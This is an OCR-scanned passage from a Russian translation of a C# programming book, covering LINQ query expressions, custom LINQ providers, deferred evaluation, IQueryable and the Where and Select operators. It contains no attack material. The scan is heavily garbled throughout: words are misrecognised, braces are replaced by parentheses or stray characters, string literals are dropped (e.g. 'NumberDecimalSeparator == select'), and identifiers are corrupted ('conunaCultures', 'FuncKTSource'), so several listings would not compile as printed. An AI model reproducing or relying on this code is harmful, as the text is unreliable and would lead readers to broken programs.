Глава 10 Cultureinfo.GetCultures(CultureTypes.AllCultures) let numFormat = culture.NumberFormat where numFormat.NumberDecimalSeparator == select culture.Name; Когда вы записываете запрос, содержащий другие переменные, п мимо переменной диапазона, компилятор автоматически генериру скрытый класс, содержащий по одному полю для каждой переменно чтобы тем самым сделать их доступными на каждой промежуточна стадии. Чтобы получить тот же эффект при использовании обычщ вызовов методов, потребуется нечто подобное, и самый простой споа состоит в том, чтобы ввести содержащий эти переменные анонимнь тип, как показано в листинге 10.7. Листинг 10.7. Как (приблизительно) выглядит в развернутом виде выражение запроса с несколькими переменными f IEnumerable<string> commaCultures = Cultureinfo.GetCultures(CultureTypes.AllCultures) .Select(culture => new { culture, numFormat = culture.NumberFormat }) .Where(vars => vars.numFormat.NumberDecimalSeparator == ",") > .Select(vars => vars.culture.Name); Независимо от того, насколько простым или сложным является bi ражение запроса, оно представляет собой просто специализирована синтаксис для вызовов методов. Это наводит на мысль о том, как мола было бы подойти к написанию пользовательского источника для выр жения запроса. Поддержка выражений запросов Поскольку компилятор C# просто преобразует входящие в запр выражения в вызовы методов, мы можем написать тип, который буд участвовать в этих выражениях, определяя подходящие методы. Что( продемонстрировать, что компилятору C# в действительности не важв что именно будут делать эти методы, в листинге 10.8 я привожу кла который не имеет никакого смысла, но тем не менее вполне устраива компилятор C# при его использовании из выражения запроса. Комп лятор просто механически преобразует выражение запроса в послед вательность вызовов методов; поэтому при наличии подходящего вщ методов код откомпилируется успешно. 478
LINQ Листинг 10.8. He имеющие смысла методы Where и Select public class SillyLinqProvider { public SillyLinqProvider Where(Func<string, int> pred) Console.WriteLine("Вызван метод Where "); return this; } public string Select<T>(Func<DateTime, T> map) I Console.WriteLine("Вызван метод Select, с аргументом типа " + typeof(T)); return "Данный оператор не имеет смысла"; } } Экземпляр данного класса можно использовать как источник выра- жения запроса. Это не будет иметь никакого смысла, поскольку класс не представляет коллекцию данных, однако компилятор не обратит на это внимания. Ему нужно лишь, чтобы были в наличии определенные методы, так что если я запишу код, представленный в листинге 10.9, он не встретит никаких возражений со стороны компилятора, несмотря на всю свою бессмысленность. Листинг 10.9./1е имеющий смысла запрос var q = from х in new SillyLinqProvider () where int.Parse(x) select x.Hour; Компилятор преобразует код в вызовы методов точно так же, как он делал это в случае более разумного с практической точки зрения запро- са, представленного в листинге 10.1. Результат этого запроса представлен в листинге 10.10. Если вы были внимательны, то могли заметить, что переменная диапазона здесь ме- няет свой тип. Метод Where требует делегат, принимающий строку, поэтому в первом лямбда-выражении переменная х относится к типу string. Однако метод Select требует делегат, принимающий объект типа DateTime, потому во втором лямбда-выражении переменная х относится уже к нему (в конечном счете это не имеет значения, поскольку в дан- ном случае методы Where и Select не используют приведенные лямбда- 479
Глава 10 выражения). Опять же, абсурдность ситуации еще раз демонстрируй, насколько машинально компилятор C# преобразует запросы в вызовы методов. Листинг 10.10. Как компилятор преобразует не имеющий смысла запрос var q = new SillyLinqProvider().Where( x => int.Parse(x)).Select(x => x.Hour); Очевидно, что в написании не обладающего смыслом кода нет ни- какой пользы. Я привожу здесь данный пример лишь для того, чтобы показать, что синтаксис выражения запроса не имеет ни малейшей представления о семантике — у компилятора нет никаких особых ожи- даний в отношении того, что должны делать вызываемые им метода Он требует лишь, чтобы они принимали в качестве аргументов лямбда- выражения и возвращали что-либо, отличное от void. ( Понятно, что реальная работа осуществляется в другом месте; ее в» полняют сами LINQ-провайдеры. Поэтому давайте теперь посмотрщ| какой код нам потребовалось бы написать, чтобы заставить работа*^ представленные выше запросы, если бы провайдера LINQ to Objects существовало. • Вы уже видели, что запросы к провайдеру LINQ to Objects npeol разуются в код, подобный тому, что показан в листинге 10.4, однако Э1 еще не все. Выражение where становится вызовом метода Where, но вызо осуществляется для массива с типом Cultureinfo [ ], в действительност не обладающим методом Where. 1 Данный код работает лишь потому, что провайдер LINQ to Object определяет надлежащий метод расширения. Как было показано в гла ве 3, в существующие типы можно добавлять новые методы, и npoeai дер LINQ to Objects делает это для типа IEnumerable<T>. (Поскольк большинство коллекций реализует интерфейс IEnumerable<T>, npoeai дер LINQ to Objects может применяться для коллекции почти любог типа.) Для использования этих методов расширения потребуется добг вить директиву using для пространства имен System.Linq. (Кстати п воря, все эти методы расширения определяются статическим класса Enumerable.) Поскольку Visual Studio добавляет такую директиву в кая! дый файл С#, эти методы доступны по умолчанию. Если удалить ее, то для выражения запроса из листинга 10.1 или 10, компилятор выдаст следующее Сообщение об ошибке: 480
LINQ error CS1935: Could not find an implementation of the query pattern for source type ' Sy stem. Global i ration. Culture Info []'. 'Where' not found. Are you missing a reference to 'System.Core.dll' or a using directive for 'System. Linq'? (error CS1935: Невозможно найти реализацию шаблона запроса для исходного типа "System.Globalization.Cultureinfo[]". Метод "Where" не найден. Возможно, отсутствует ссылка на "System.Core.dll" или директиву using для "System. Linq") Хотя в большинстве случаев содержащееся в этом сообщении об ошибке предположение будет полезным, в данном случае я хочу напи- сать собственную реализацию LINQ-провайдера. Выполняющий это код представлен в листинге 10.11; содержимое файла исходного кода я при- вожу целиком, поскольку методы расширения чувствительны к исполь- зованию пространств имен и директив using. Содержимое метода Main уже будет вам знакомо — это код из листинга 10.3, который на этот раз вместо провайдера LINQ to Objects использует методы расширения из моего класса CustomLinqProvider. (Обычно для того чтобы сделать ме- тоды расширения доступными, применяется директива using, однако в данном случае класс CustomLinqProvider находится в том же простран- стве имен, что и класс Program, поэтому все его методы расширения ав- томатически доступны методу Main.) Хотя код в листинге 10.11 работает так, как было задумано, этот пример не является демонстрацией того, как обычно LINQ-провайдер выполняет запросы. Он иллюстрирует, как LINp-провайдеры вводят себя в курс дела, однако, как я пока- жу'позже, в том, как данный код приступает к выполнению за- проса, кроются некоторые проблемы. Кроме того, очевидно, что этот пример является неполным — помимо методов where и Select, LINQ-провайдер должен обладать и другими. Листинг 10.11. Пользовательский LINQ-провайдер для типа Cultureinfo [ ] using System; using System.Globalization; namespace CustomLinqExample ( public static class CustomLinqProvider ( public static Cultureinfo[] Where( 481
Глава 10 this Cultureinfo[] cultures, I Predicate<CultureInfo> filter) i • { < return Array.FindAll(cultures, filter); ? ) public static T[] Select<T>( this Cultureinfo[] cultures, Func<CultureInfo, T> map) ( var result = new T[cultures.Length]; for (int i = 0; i < cultures.Length; ++i) ( resultfi] = map(cultures[i]); } 4- 14- X * return result; / } 4 } class Program ( ; static void Main(string[] args) { var conunaCultures = from culture in Culturelnfo.GetCultures(CultureTypes.AllCultures) where culture.NumberFormat.NumberDecimalSeparator select culture.Name; foreach (string cultureName in conunaCultures) { Console.WriteLine(cultureName); } } } I Как вам теперь уже хорошо известно, выражение запроса в метод Main сначала вызовет метод Where для источника, после чего вызов метод Select для того результата, который возвратит Where. Как и рань ше, источник является возвращаемым значением метода GetCultures - массивом типа Culturelnfo[]. Для этого типа класс CustomLinqProvide определяет методы расширения, потому в данном случае будет вызва 482
UNQ метод CustomLinqProvider.Where. Он использует метод FindAll класса Array, чтобы найти в исходном^массиве все элементы, которые соот- ветствуют предикату. Метод Where напрямую передает свой аргумент методу FindAll в качестве предиката, и, как вы уже знаете, когда ком- пилятор C# вызывает метод Where, он передает ему лямбда-выражение, полученное из выражения where в LINQ-запросе. Этот предикат будет соответствовать культурам, которые используют в качестве десятично- го разделителя запятую, таким образом, метод Where возвратит массив типа Cultureinfo [ ], который будет содержать только такие культуры. Далее код, сгенерированный компилятором для данного запроса, вызовет метод Select для массива типа Cultureinfo[], возвращенного методом Where. Массивы не располагают методом Select, поэтому будет вызван ме- тод расширения из класса CustomLinqProvider. Мой метод Select явля- ется обобщенным, и компилятору потребуется выяснить, каким должен быть аргумент типа, — эту информацию он сможет логически вывести из выражения select. Сначала компилятор преобразует его в лямбда- выражение: culture => culture.Name. Поскольку данное выражение пе- редается методу Select в качестве второго аргумента, компилятор знает, что нам нужен тип Func<CultureInf о, Т> и что, таким образом, параметр culture должен принадлежать к типу Cultureinfo. Это позволяет ему сделать логический вывод о том, что в качестве аргумента типа Т следует использовать тип string, поскольку лямбда- выражение ^озвращает свойство culture.Name, которое обладает дан- ным типом. Таким образом, компилятор приходит к выводу, что ему нужно вызвать метод CustomLinqProvider.Select<string>. (Кстати гово- ря, описанный выше процесс логического выведения не является спе- цифичным для выражения запроса. Выведение типа выполняется после преобразования запроса в вызовы методов. Если бы мы начали с кода, представленного в листинге 10.4, компилятор использовал бы точно та- кой же процесс.) После этого метод Select выдаст массив типа string [ ] (поскольку в качестве аргумента типа Т здесь применяется тип string). Он запол- няет этот массив, выполняя итерацию по элементам входного массива Cultureinfo[] и передавая каждый объект Cultureinfo в качестве аргу- мента лямбда-выражению, извлекающему свойство Name. Таким обра- зом, в итоге мы получаем массив строк, содержащий имена всех культур, которые используют в качестве десятичного разделителя запятую. 483
Глава 10 Это немного более реалистичный пример по сравнению с классом SillyLinqProvider, поскольку в данном случае провайдер обеспечивает ожидаемое поведение. Однако, несмотря на то что запрос выдает те же строки, что и при использовании провайдера LINQ to Objects, служа- щий для этого механизм обладает некоторыми отличиями. Мой класс CustomLinqProvider выполняет каждую операцию немед- ленно — и метод Where, и метод Select возвращают полностью запол- ненные массивы. Провайдер LINQ to Objects делает нечто совершенно иное, и фактически так поступает большинство LINQ-провайдеров. Отложенное вычисление Если бы провайдер LINQ to Objects работал таким же образом, как мой пользовательский провайдер из листинга 10.11, он не смог бы спра- виться с кодом из листинга 10.12. В этом примере используется метод Fibonacci, который возвращает бесконечную последовательность, - он будет выдавать числа из ряда Фибоначчи до тех пор, пока вызвав- ший его код их запрашивает. Возвращаемый этим методом объект типа IEnumerable<BigInteger> я использовал в качестве источника для вы- ражения запрЬса. Как вы видите, я оставил на месте добавляемую по умолчанию директиву using для пространства имен System.Linq, и это говорит о том, что здесь я снова использую провайдер LINQ to Objects. Листинг 10.12. Запрос с бесконечной исходной последовательностью using Systema- tising System.Collections.Generic; using System.Linq; using System.Numerics; class Program { static IEnumerable<BigInteger> Fibonacci() { Biginteger nl = 1; Biginteger n2 = 1; * yield return nl; while (true) { yield return n2; Biginteger t = nl + n2; 484
UNQ nl = n2; ' n2 = t; I I static void Main(string!] args) ( var evenFib = from n in Fibonacci () where n % 2 == 0 select n; foreach (Biginteger n in evenFib) ( Console.WriteLine(n); I I } Данный код использует метод расширения Where, предоставляемый провайдером LINQ to Objects для типа IEnumerable<T>. Если бы этот метод работал так же, как метод Where, предоставляе&?ый моим классом CustomLinqExtension для типа Cultureinfo[], то данная программа так бы и не вывела на экран ни одного числа. Мой метод Where не возвраща- ет управление до тех пор, пока не отфильтрует все входные данные и не создаст в качестве своего результата полностью заполненный массив. Если бы метод Where провайдера LINQ to Objects попробовал поступить так же с перечислителем бесконечного ряда Фибоначчи, он никогда бы не завершил работу. Код из листинга 10.12 вполне успешно справляется со своей зада- чей — он генерирует постоянный поток вывода, состоящий из чисел Фи- боначчи, кратных двум. Таким образом, когда мы вызываем метод Where, он не пытает- ся выполнить фильтрацию; вместо этого он возвращает объект типа IEnumerable<T>, фильтрующий элементы по требованию. Метод Where не пытается доставить что-либо из входной последовательности до тех пор, пока не получит запрос на значение, после чего он начинает извле- кать из источника одно значение за другим, пока фильтрующий делегат не сообщит, что подходящее значение найдено. Затем метод возвращает это значение и не пытается извлечь из источника что-либо еще, пока не получит запрос на следующий элемент. Листинг 10.13 демонстрирует, как можно реализовать такое поведение, используя инструкцию C# yield return. 485
Глава 10 Листинг 10.13. Пользовательский отложенный оператор where public static class CustomDeferredLinqProvider { ’ public static IEnumerable<T> Where<T>( this IEnumerable<T> src, Func<T, bool> filter) { foreach (T item in src) { if (filter(item)) { yield return item; } I > ) ' В действительности предоставляемая провайдером LINQ to Objec реализация метода Where является чуть более сложной. Она распознав ряд особых случаев, таких как массивы и списки, и использует для ихо( работки способы, которые обеспечивают чуть бблыпую эффективное по сравнению с универсальной реализацией, применяемой для друп типов. Однако и оператор Where, и все прочие придерживаются одно! и того же принципа: они не выполняют указанную работу. Вместо это! они возвращают объекты, которые выполняют работу по требованш Что-либо действительно происходит лишь тогда, когда вы пытаетесь и влечь результаты запроса. Это называется отложенным вычислением. Отложенное вычисление обладает тем преимуществом, что работ не выполняется, пока в ней не возникнет необходимость, и это позволь ет работать с бесконечными последовательностями. Однако у данног подхода есть и недостатки. Иногда требуется соблюдать осторожност чтобы не допустить многократного вычисления запросов. Такая оши( ка, например, допускается в листинге 10.14, где проделывается горазд больше работы, чем необходимо. Данный код выполняет цикл по ж скольким числам и выводит каждое из них, используя формат денел ных единиц каждой культуры, применяющей в качестве десятично! разделителя запятую. Запустив ают код, вы можете обнаружить, что большая част 4 * выводимых им строк содержит символы ?, говорящие О ТОМ, ЧТ —консоль не способна отобразить символы денежных единиц. Н
UNQ самом деле она может это сделать — требуется лишь разреше- ние. По умолчанию- консоль Windows использует 8-разрядную кодовую страницу для обеспечения обратной совместимости. Если же вы выполните команду chcp 65001, консоль переключит- ся на кодовую страницу UTF-8, что позволит ей выводить любые символы Unicode, поддерживаемые выбранным вами шрифтом. Для получения наилучших результатов сконфигурируйте кон- соль на использование шрифта Consoles или Lucida Console. Листинг 10.14. Ненамеренное повторное вычисление отложенного запроса var conunaCultures = from culture in Cultureinfo.GetCultures(CultureTypes.AllCultures) where culture.NumberFormat.NumberDecimalSeparator == select culture; object[] numbers = { 1, 100, 100.2, 10000.2 }; foreach (object number in numbers) foreach (Cultureinfo culture in conunaCultures) 4 Console.WriteLine(string.Format(culture, "{0}: {l:c}", culture.Name, number)); Проблема данного кода заключается в следующем: несмотря на то что переменная conunaCultures инициализируется за пределами цикла по чис- лам, мы выполняем итерацию по ней для каждого числа. А поскольку про- вайдер LINQ to Objects использует отложенное вычисление, это означает, что действительная работа по запросу делается заново при каждом обходе внешнего цикла. Таким образом, вместо вычисления выражения where по одному разу для каждой культуры (354 раза в моей системе) оно в итоге вычисляется по четыре раза для каждой культуры (1416 раз у меня) — по одному разу для каждого из четырех элементов массива numbers. И хотя подобное не является катастрофой — код по-прежнему выдает коррект- ный результат, — если вы сделаете так в программе, выполняемой на сильно загруженном сервере, это скажется на производительности. Если вы знаете, что вам потребуется многократно выполнять итера- цию по результатам запроса, подумайте об использовании предоставляе- мых провайдером LINQ to Objects методов расширения ToList и ToArray. 487
Глава 10 Они немедленно вычисляют весь запрос, делая это только один раз и вы- давая, соответственно, список типа lList<T> или массив типа Т [ ] (потому очевидно, что данные методы не следует использовать для бесконечных последовательностей). Затем можно обходить полученную коллекцию столько раз, сколько вам нужно, и это не повлечет никаких дополнитель- ных расходов (помимо минимальных затрат на чтение элементов массива или списка). Однако в тех случаях, когда итерация по запросу выполня- ется только один раз, лучше не использовать данные методы, поскольку они будут потреблять больше памяти, чем необходимо. LINQ, обобщения и тип IQueryable<T> Большинство LINQ-провайдеров использует обобщенные типы. Хотя ничто не принуждает их делать именно так, это общепринято. LINQ to Objects применяет тип IEnumerable<T>. Ряд провайдеров для работы с базами данных использует тип IQueryable<T>. Общий шаблон состо- ит в том, чтобы применить некоторый обобщенный тип Источник<Т>, где Источник — место получения элементов, а Т — тип отдельного элемента. Тип источника с поддержкой LINQ делает методы операторов доступ- ными для объекта Источник<Т> и любого объекта Т; кроме того, эти опе- раторы обычно возвращают объект типа Источник<ТНези1Ь>, где TResult может отличаться, а может и не отличаться от типа Т. Интерфейс IQueryable<T> интересен тем, что предназначен для ис- пользования несколькими провайдерами. Он, а также его базовый ин- терфейс IQueryable и связанный с ними интерфейс IQueryProvider по- казаны в листинге 10.15. Листинг 10.15. Интерфейсы IQueryable и IQueryable<T> public interface IQueryable : lEnumerable { Type ElementType { get; } Expression Expression { get; ) IQueryProvider Provider { get; } } public interface IQueryable<out T> : IEnumerable<T>, IQueryable { } public interface IQueryProvider { 488
LINQ IQueryable CreateQuery(Expression expression); IQueryable<TElement> CreateQuery<TElement>( - Expression expression); object Execute(Expression expression); TResult Execute<TResult>(Expression expression); 1 Наиболее заметная черта интерфейса IQueryable<T> — он не добав- ляет никаких членов к своим базовым типам. Причиной этого является то, что он рассчитан на использование исключительно через методы рас- ширения. Пространство имен System.Linq определяет все стандартные LINQ-операторы для интерфейса IQueryable<T> как методы расшире- ния, предоставляемые классом Queryable. Однако все эти методы просто делегируются свойству Provider, определенному в базовом интерфейсе IQueryable. Таким образом, в отличие от провайдера LINQ to Objects, у которого методы расширения для интерфейса IEnumerable<T> опреде- ляют поведение, реализация интерфейса IQueryable<T> может решить, как следует обрабатывать запросы, поскольку она просто предоставляет объект типа IQueryProvider, и уже он выполняет реальную работу. Тем не менее все LINQ-провайдеры на базе интерфейса IQueryable<T> сходны в одном: они интерпретируют лямбда-выражения как объекты выражений, а не как делегаты. Листинг 10.16 показывает, как объявля- ются методы расширения Where, определяемые для типов IEnumerable<T> и IQueryable<T>. Сравните параметры predicate. / Листинг 10.16. Класс Enumefable в сравнении с классом Queryable public static class Enumerable I public static IEnumerable<TSource> Where<TSource>( this IEnumerable<TSource> source, FuncKTSource, bool> predicate) 1 public static class Queryable 'I public static IQueryable<TSource> Where<TSource> ( 1 this IQueryable<TSource> source, Expression<Func<TSource, bool» predicate)
Глава 10 Метод расширения Where для типа IEnumerable<T> (используемый провайдером LINQ to Objects) принимает объект типа Func<TSource, bool> — как вы помните из главы 9, это делегатный тип. Однако ме- тод расширения Whefe для типа IQueryable<T> (используемый многими LINQ-провайдерами) принимает объект типа Expression<Func<TSource, bool» — как вы должны помнить из той же главы 9, это заставляет ком- пилятор построить объектную модель выражения и передать ее в каче- стве аргумента. Обычно LINQ-провайдер использует тип IQueryable<T> по той причине, что ему требуются деревья выражений. Таким образом, когда провайдер использует данный интерфейс, это, как правило, озна- чает, что он собирается просмотреть запрос и преобразовать его во что- то другое, например, SQL-запрос. В LINQ-коде могут встречаться и другие распространенные обоб- щенные типы. Некоторые LINQ-возможности гарантируют выдачу эле- ментов в определенном порядке; некоторые — нет. Совсем небольшая группа операторов обеспечивает выдачу элементов в порядке, завися- щем от порядка входных данных. Это может быть отражено в типах, где операторы определяются, и в типах, что они возвращают. Провайдер LINQ to Objects определяет тип IOrderedEnumerable<T> для представ- ления упорядоченных данных; провайдеры на базе типа IQueryable<T> используют аналогичный тип IOrderedQueryable<T>. (Провайдеры, которые применяют собственные типы, как правило, поступают сход- ным образом — так, например, провайдер Parallel LINQ определяет тип OrderedParallelQuery<T>.) Эти интерфейсы наследуют от своих неупо- рядоченных аналогов, таких как IEnumerable<T> и IQueryable<T>, поэто- му предоставляют доступ ко всем обычным операторам, но в дополнение к этому позволяют определять операторы или другие методы с учетом пбрядка следования входных данных. Например, в разделе «Упорядочи- вание» я расскажу о LINQ-операторе ThenBy, доступном только для уже упорядоченных источников. Если мы возьмем провайдер LINQ to Objects, то это отличие между упорядоченными и неупорядоченными данными может показаться не- существенным, поскольку тип IEnumerable<T> всегда выдает элементы в определенной последовательности. Однако другие провайдеры не всегда придерживаются какого-либо порядка, например, потому что они распараллеливают выполнение запроса, или же потому, что запрос за них выполняет база данных, а базы данных оставляют за собой право в некоторых случаях менять порядок элементов, если это способствует более эффективной работе. 490
LINQ Стандартные LINQ-операторы В данном разделе я опишу стандартные операторы, которые могут предоставлять LINQ-провайдеры. Где уместно, я буду приводить экви- валентное выражение запроса, однако следует заметить, что у многих операторов нет соответствующей формы выражения запроса. Некото- рые LINQ-возможности доступны только через явный вызов метода. Это справедливо даже для кое-каких операторов, что можно использо- вать в выражениях запросов, поскольку большинство операторов пере- гружается, и выражения запросов не могут применить некоторые из бо- лее продвинутых перегрузок. v LINQ-операторы нельзя назвать операторами в обычном для 4 4 языка C# смысле — они не являются такими символами, как + -••-Uy или &&. Технология LINQ использует собственную терминоло- гию, и в данной главе под «оператором» понимается одна из предлагаемых LINQ-провайдером возможностей запросов. В C# она выглядит как метод. Все эти операторы сходны в одном: они были разработаны с расчетом на поддержку композиции. Следовательно, их можно почти произвольно комбинировать между собой, что позволяет создавать сложные запросы, составляя их из простых элементов. Для обеспечения этого операторы не только принимают тип, представляющий набор элементов, в качестве входных данных (например, тип IEnumerable<T>), но и в большинстве случаев также возвращают тип, представляющий набор элементов. Тип элементов при этом не всегда остается таким же — в некоторых случаях оператор может принимать тип IEnumerable<T> и выдавать в качестве ре- зультата тип IEnumerable<TResult>, где TResult не совпадает с Т. Однако и в таком случае по-прежнему можно как угодно комбинировать опера- торы между собой. Это возможно отчасти потому, что LINQ-операторы сходны с математическими функциями в том отношении, что не модифи- цируют свои входные данные, а выдают новый результат на основе сво- их операндов (подобное также характерно для функциональных языков программирования). Это означает, что вы можете не только свободно со- ставлять из операторов произвольные комбинации, не опасаясь побочных эффектов, но и столь же свободно использовать один и тот же источник в качестве входных данных для нескольких запросов, поскольку ни один LINQ-запрос никогда не модифицирует свои входные данные. Каждый оператор возвращает на основе своих входных данных новый запрос. 491
Глава 10 Хотя, в принципе, можно написать реализацию iEnumerable<T>, в которой итерация по элементам будет обладать побочными эффектами, лучше этого не делать, особенно если вы исполь- зуете LINQ. LINQ-возможности предполагают, что перечислен ние коллекции не будет нести никаких других последствий, кроме потребления таких ресурсов, как время процессора. Ничто не принуждает к использованию этого функционального сти ля. Как вы видели в примере с классом SillyLinqProvider, для компиля тора в действительности не важно, что делает метод, представляющи! LINQ-оператор. Однако по общепринятому соглашению операторь должны быть функциональными, чтобы обеспечить поддержку компо- зиции. Так работают все встроенные LINQ-провайдеры. Не все провайдеры предлагают полную поддержку для всех опера- торов. Хотя основные провайдеры платформы .NET — такие как LIN( to Objects, LINQ to Entities и LINQ to SQL — настолько исчерпывающи насколько это только возможно, далее я покажу, что в некоторых ситуа циях определенные операторы не будут иметь смысла. Чтобы продемонстрировать операторы в действии, мне нужны ис ходные данные. Многие из приведенных в последующих разделах при меров будут использовать каталог курсов из листинга 10.17. Листинг 10.17. Пример входных данных для LINQ-запросов public class Course { public string Title { get; set; ) public string Category { get; set; } public int Number { get; set; } public DateTime PublicationDate { get; set public TimeSpan Duration { get; set; } public static readonly Course[] Catalog = t new Course { Title = "Основы геометрии", Category = "MAT", Number = 101, Duration = TimeSpanTF’romHours (3), PublicationDate = new DateTime(2009, 5, 20) ), 492
new Course { Title = "Квадратура круга", Category = "MAT", Number = 102, Duration = TimeSpan.FromHours (7), PublicationDate = new DateTime(2009, 4, 1) I, new Course { Title = "Восстановительная трансплантация органов ", Category = "BIO", Number = 305, Duration = TimeSpan.FromHours(4), PublicationDate = new DateTime(2002, 7, 19) 1, new Course { Title = "Гиперболическая геометрия", Category = "MAT", Number = 207, Duration = TimeSpan.FromHours (5), PublicationDate = new DateTime(2007, 10, 5) Ir new Course ( / Title = "Упрощенные структуры данных для демо-версии", Category = "CSE", Number = 104, Duration = TimeSpan.FromHours(2), PublicationDate = new DateTime(2012, 2, 21) I, new Course { Title = "Введение в анатомию и физиологию человека", Category = "BIO", Number = 201, Duration = TimeSpan.FromHours(12), PublicationDate = new DateTime(2001, 4, 11) I,
Глава 10 Фильтрация Один из самых простых операторов — Where, который фильтрует входные данные. Вы должны предоставить функцию, принимающую отдельный элемент и возвращающую значение типа bool, и оператор Where возвратит объект, представляющий те элементы из входных дан- ных, для которых предикат является истинным (концептуально это очень напоминает метод FindAll, доступный для типа List<T> и типов массивов, с тем отличием, что в данном случае используется отло^ен- ное вычисление). Как вы уже видели, в запросах этот оператор представляется выра- жением where. Однако у оператора Where есть перегрузка, которая пре- доставляет дополнительную возможность, не доступную из выражения запроса. Вы можете написать фильтрующее лямбда/выражение, прини- мающее два аргумента: элемент из входных данны/и индекс, указываю: щий его позицию в источнике. В листинге 10.18 такая форма использун ется для удаления из входных данных каждой второй позиции, а также курсов, продолжительность которых составляет менее трех часов. Листинг 10.18. Оператор where с индексом IEnumerable<Course> q = Course.Catalog.Where( (course, index) => (index % 2 == 0) && course.Duration.TotalHours >= 3); Индексированная фильтрация имеет смысл только для упорядочен’ ных данных. Она всегда работает с провайдером LINQ to Objects, по- скольку он использует тип IEnumerable<T>, выдающий элементы один за другим, в то время как не все LINQ-провайдеры обрабатывают элемен- ты в определенном порядке. Например, при использовании провайдера LINQ to Entities создаваемые в C# LINQ-запросы обрабатываются в баз! данных. Если запрос не требует явно определенного порядка элементов то обычно базе данных предоставляется свобода как угодно менять ш порядок и даже, возможно, обрабатывать их параллельно. В некоторьп случаях база данных может использовать стратегии оптимизации, позво ляющие ей выдавать требуемые запросом результаты, используя процесс несущий в себе очень много отличий от исходного запроса. Поэтому, воз- можно, не будет никакого смысла говорить, например, об обработке 14-п: элемента выражением WHERE. Следовательно, если бы мы написали запрос подобный тому, что представлен в листинге 10.18, используя провайде| LINQ to Entities, то при выполнении этого запроса было бы выброшеж 494
LINQ исключение, сообщающее о невозможности применения индексирован- ного оператора Where. Возможно, вас удивляет, почему же вообще данная перегрузка доступна не поддерживающему ее провайдеру? Причиной яв- ляется то, что провайдер LINQ to Entities использует тип IQueryable<T>, и, соответственно, на этапе компиляции ему доступны все стандартные операторы. Провайдеры, использующие тип IQueryable<T>, могут сооб- щать о недоступности операторов только на этапе выполнения. LINQ-провайдеры, полностью или частично реализующие ло- гику запроса на стороне сервера, обычно накладывают неко- торые ограничения на то, что можно делать в составляющих запрос лямбда-выражениях. Например, хотя провайдер LINQ to Objects позволяет вызывать из фильтрующего лямбда- выражения любой метод, провайдерам для работы с базами данных и провайдеру для работы со службами данных WCF Data Services доступен лишь ограниченный набор методов. Эти провайдеры должны быть способны преобразовать лямбда- выражение во что-то, что сможет обработать сервер, потому они способны иметь дело только с теми методами, которые они понимают — сервер баз данных не может выполнить об- ратный вызов вашего кода во время обработки запроса. Можно было бы ожидать, что исключение будет выброшено не при попытке выполнить запрос, а в момент запуска оператора Where (то есть когда мы впервые попытаемся извлечь один или несколько элементов). Однако провайдеры, преобразующие LINQ-запросы в некоторую дру- гую форму, такую как SQL-запрос, обычно откладывают всю работу по проверке допустимости до того момента, когда запрос будет выполнен. Причиной в том, что некоторые операторы могут быть допустимыми только в определенных сценариях, вследствие чего провайдер иногда не знает, будет ли работать тот или иной оператор, пока не завершится по- строение всего запроса. Если бы сообщения об ошибках, вызываемых неработоспособными запросами, иногда возникали во время построе- ния запроса, а иногда — во время его выполнения, это нарушило бы еди- нообразие, потому даже случаях, когда провайдер точно знает, что тот или иной оператор выдаст ошибку, он обычно сообщает об этом лишь после того, как вы запустите запрос на выполнение. Фильтрующее лямбда-выражение оператора Where должно прини- мать аргумент с типом элементов (например, типом Т из IEnumerable<T>) и возвращать значение типа bool. Возможно, вы помните из главы 9, 495
Глава 10 что в библиотеке классов определен подходящий делегатный тип Predicate<T>, однако в той же главе я упомянул, что технология LINQ не использует этот тип, и теперь вам должно быть понятно почему. По- скольку индексированная версия оператора Where обладает дополни- тельным аргументом, она не может работать с типом Predicate<T> и ис- пользует вместо него тип Func<T, int, bool>. И хотя ничто не мешает взять тип Predicate<T> неиндексированной версии оператора Where, как правило, в таких случаях LINQ-провайдеры используют тип Func для всех операторов, чтобы операторы со сходным смыслом также обла- дали и сходной сигнатурой. Поэтому вместо типа Predicate<T> боль- шинство провайдеров использует тип Func<T, bool>, чтобы обеспечит^ единообразие с индексированной версией. (Для C# не важно, какой из этих типов вы станете использовать, — выражения запросов будут ра- ботать и в том случае, если провайдер работает с типом Predicated, как это делает мой пользовательский оператор Where в листинге 10.11. Тем не менее ни один из провайдеров от компании Microsoft так не по- ступает.) В LINQ определен еще один фильтрующий оператор — OfType<T>. Он полезен в том случае, когда источник содержит элементы разных типов — допустим, источник принадлежит к типу IEnumerable<object>, и вы хотите выделить из него только элементы типа string. Как получите объекты, которые являются строками, с помощью оператора Of Туре<Т>, показывает листинг 10.19. Листинг 10.19. Оператор 0fType<T> 1 static void ShowAllStrings(IEnumerable<object> src) ( । var strings = src.OfType<string>(); I foreach (string s in strings) ( Console.WriteLine (s); ) ) И оператор Where, и оператор OfType<T> выдают пустую послед» вательность, когда ни один из объектов в источнике не удовлетворяв: требованиям. Это не считается ошибкой — пустые последовательносп в LINQ вполне допустимы. Многие операторы могут выдавать их в ка< честве результата, и большинство операторов способны принимать ш в качестве входных данных. 496
UNQ Оператор Select При написании запроса мы, возможно, захотим извлечь только часть из присутствующих в источнике элементов. Стоящее в конце большин- ства запросов выражение select позволяет нам предоставить лямбда- выражение, которое будет использоваться для выдачи окончательного результата. Существуют два основания для того, чтобы выражение select непросто передавало напрямую все элементы источника, а делало что-то еще. Во-первых, иногда требуется выбрать из каждого элемента лишь не- который отдельный фрагмент информации; во-вторых, также бывает не- обходимо преобразовать извлекаемые данные в нечто совершенно иное. Вы уже видели несколько примеров выражения select, и в листин- ге 10.3 было показано, что компилятор преобразует это выражение в вы- зов оператора Select. Однако, как и в случае многих других LINQ-one- раторов, версия, доступная через выражение запроса, не является единственной. Существует еще одна, принимающая не только входной элемент, из которого генерируется выходной, но и индекс этого элемен- та. В листинге 10.20 данная перегрузка используется для генерирования пронумерованного списка с названиями курсов. Листинг 10.20. Оператор Select с индексом IEmzerable<string> nonlntro = Course.Catalog.Select( (course, index) => soring.Format("Курс {0}: {1}", index + 1, course.Title)); Следует иметь в виду, что индекс, передаваемый в лямбда-выражение, отсчитывается для тех/анных, которые непосредственно получает опе- ратор Select, и не обязательно соответствует исходной позиции элемен- та в источнике. Это может привести к получению неожиданных резуль- татов в коде, подобном тому, что представлен в листинге 10.21. Листинг 10.21. Индексированный оператор Select вниз по потоку от оператора Where IEnumerable<string> nonlntro = Course.Catalog .Where(c => c.Number >= 200) .Select ((course, index) => string.Format("Курс {0}: {1}", index, course.Title)) ; Данный код отберет в массиве Course.Catalog курсы с индексами 2, Зи 5, поскольку у них значение свойства Number удовлетворяет условию оператора Where. Однако запрос пронумерует эти курсы числами 0, 1 497
